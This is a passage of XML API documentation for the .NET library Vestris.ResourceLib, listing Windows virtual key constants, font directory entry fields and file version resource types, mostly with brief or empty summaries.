<member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MULTIPLY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ADD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SEPARATOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SUBTRACT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DECIMAL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DIVIDE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F10\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F11\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F12\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F13\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F14\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F15\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F16\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F17\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F18\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F19\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F20\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F21\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F22\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F23\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F24\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMLOCK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SCROLL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_NEC_EQUAL\">\n            <summary>\n            NEC PC-9800 keyboard '=' key on numpad.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_JISHO\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Dictionary' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_MASSHOU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Unregister word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_TOUROKU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Register word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_LOYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Left OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_ROYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Right OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_BACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FORWARD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_REFRESH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_SEARCH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FAVORITES\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_HOME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_MUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_DOWN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_UP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_NEXT_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PREV_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PLAY_PAUSE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MAIL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MEDIA_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_1\">\n            <summary>\n            ';:' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PLUS\">\n            <summary>\n            '+' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COMMA\">\n            <summary>\n            ',' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_MINUS\">\n            <summary>\n            '-' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PERIOD\">\n            <summary>\n            '.' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_2\">\n            <summary>\n            '/?' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_3\">\n            <summary>\n            '`~' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_4\">\n            <summary>\n            '[{' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_5\">\n            <summary>\n            '\\|' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_6\">\n            <summary>\n            ']}' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_7\">\n            <summary>\n            ''\"' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AX\">\n            <summary>\n            'AX' key on Japanese AX kbd\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_102\">\n            <summary>\n            \"&lt;&gt;\" or \"\\|\" on RT 102-key kbd.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_HELP\">\n            <summary>\n            Help key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_00\">\n            <summary>\n            00 key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PROCESSKEY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PACKET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_RESET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_JUMP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_WSCTRL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CUSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FINISH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COPY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AUTO\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ENLW\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_BACKTAB\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CRSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EREOF\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PLAY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ZOOM\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONAME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.FONTDIRENTRY\">\n            <summary>\n            Contains information about an individual font in a font resource group. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVersion\">\n            <summary>\n            Specifies a user-defined version number for the resource data that tools can \n            use to read and write resource files. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfSize\">\n            <summary>\n            Specifies the size of the file, in bytes. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCopyright\">\n            <summary>\n            Contains a 60-character string with the font supplier's copyright information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfType\">\n            <summary>\n            Specifies the type of font file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPoints\">\n            <summary>\n            Specifies the point size at which this character set looks best. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVertRes\">\n            <summary>\n            Specifies the vertical resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfHorizRes\">\n            <summary>\n            Specifies the horizontal resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAscent\">\n            <summary>\n            Specifies the distance from the top of a character definition cell to the baseline of the \n            typographical font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfInternalLeading\">\n            <summary>\n            Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and \n            other diacritical characters can occur in this area. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfExternalLeading\">\n            <summary>\n            Specifies the amount of extra leading that the application adds between rows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfItalic\">\n            <summary>\n            Specifies an italic font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfUnderline\">\n            <summary>\n            Specifies an underlined font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfStrikeOut\">\n            <summary>\n            Specifies a strikeout font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWeight\">\n            <summary>\n            Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and \n            700 is bold. If this value is zero, a default weight is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCharSet\">\n            <summary>\n            Specifies the character set of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixWidth\">\n            <summary>\n            Specifies the width of the grid on which a vector font was digitized. For raster fonts, \n            if the member is not equal to zero, it represents the width for all the characters in the \n            bitmap. If the member is equal to zero, the font has variable-width characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixHeight\">\n            <summary>\n            Specifies the height of the character bitmap for raster fonts or the height of the grid \n            on which a vector font was digitized. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPitchAndFamily\">\n            <summary>\n            Specifies the pitch and the family of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAvgWidth\">\n            <summary>\n            Specifies the average width of characters in the font (generally defined as the width of \n            the letter x). This value does not include the overhang required for bold or italic characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfMaxWidth\">\n            <summary>\n            Specifies the width of the widest character in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFirstChar\">\n            <summary>\n            Specifies the first character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfLastChar\">\n            <summary>\n            Specifies the last character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDefaultChar\">\n            <summary>\n            Specifies the character to substitute for characters not in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfBreakChar\">\n            <summary>\n            Specifies the character that will be used to define word breaks for text justification.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWidthBytes\">\n            <summary>\n            Specifies the number of bytes in each row of the bitmap. This value is always even so \n            that the rows start on word boundaries. For vector fonts, this member has no meaning. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDevice\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that specifies a device name. \n            For a generic font, this value is zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFace\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that names the typeface. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfReserved\">\n            <summary>\n            This member is reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information not dependent on a particular language and code page combination.\n            http://msdn.microsoft.com/en-us/library/aa909193.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Vars\">\n            <summary>\n            A hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor\">\n            <summary>\n            A new hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read a hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n            <returns>Pointer to the end of data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the hardware independent dictionary of language and code page identifier tables to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Default\">\n            <summary>\n            The default language and code page identifier table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Item(System.UInt16)\">\n            <summary>\n            Returns a language and code page identifier table.\n            </summary>\n            <param name=\"language\">Language ID.</param>\n            <returns>A language and code page identifier table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of VarFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the VarFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It typically contains a \n            list of language and code page identifier pairs that the version of the application or DLL supports.\n            http://msdn.microsoft.com/en-us/library/bb202818.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Languages\">\n            <summary>\n            A dictionary of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.String)\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n            <param name=\"key\">Table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Read(System.IntPtr)\">\n            <summary>\n            Read a table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the table of language and code page identifier pairs to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Item(System.UInt16)\">\n            <summary>\n            Returns a code page identifier for a given language.\n            </summary>\n            <param name=\"key\">Language ID.</param>\n            <returns>Code page identifier.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the var table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the var table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VersionResource\">\n            <summary>\n            VS_VERSIONINFO\n            This structure depicts the organization of data in a file-version resource. It is the root structure\n            that contains all other file-version information structures.\n            http://msdn.microsoft.com/en-us/library/aa914916.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Header\">\n            <summary>\n            The resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Resources\">\n            <summary>\n            A dictionary of resource tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing version resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor\">\n            <summary>\n            A new language-netural version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a version resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write this version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.String)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"key\">Entry key.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.Int32)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"index\">Entry index.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.ToString\">\n            <summary>\n            Return string representation of the version resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver\">\n            <summary>\n            winver.h, version management functions, types and definitions\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_SIGNATURE\">\n            <summary>\n            VS_VERSION signature.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_STRUCVERSION\">\n            <summary>\n            VS_VERSION structure version.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_FILEFLAGSMASK\">\n            <summary>\n            VS_VERSION file flags mask.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileFlags\">\n            <summary>\n            VS_VERSION file flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_DEBUG\">\n            <summary>\n            The file contains debugging information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRERELEASE\">\n            <summary>\n            The file is a prerelease development version, not a final commercial release.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PATCHED\">\n            <summary>\n            PThe file has been modified somehow and is not identical to the original file\n            that shipped with the product. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRIVATEBUILD\">\n            <summary>\n            The file was not built using standard release procedures. There should be data \n            in the file's \"PrivateBuild\" version information string. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_INFOINFERRED\">\n            <summary>\n            The version information in this structure was not found inside the file, \n            but instead was created when needed based on the best information available. \n            Therefore, this structure's information may differ slightly from what the \"real\"\n            values are.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_SPECIALBUILD\">\n            <summary>\n            The file was built using standard release procedures, but is somehow different \n            from the normal file having the same version number. There should be data in the \n            file's \"SpecialBuild\" version information string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileOs\">\n            <summary>\n            VS_VERSION file OSs.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_UNKNOWN\">\n            <summary>\n            The operating system under which the file was designed to run could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS\">\n            <summary>\n            The file was designed to run 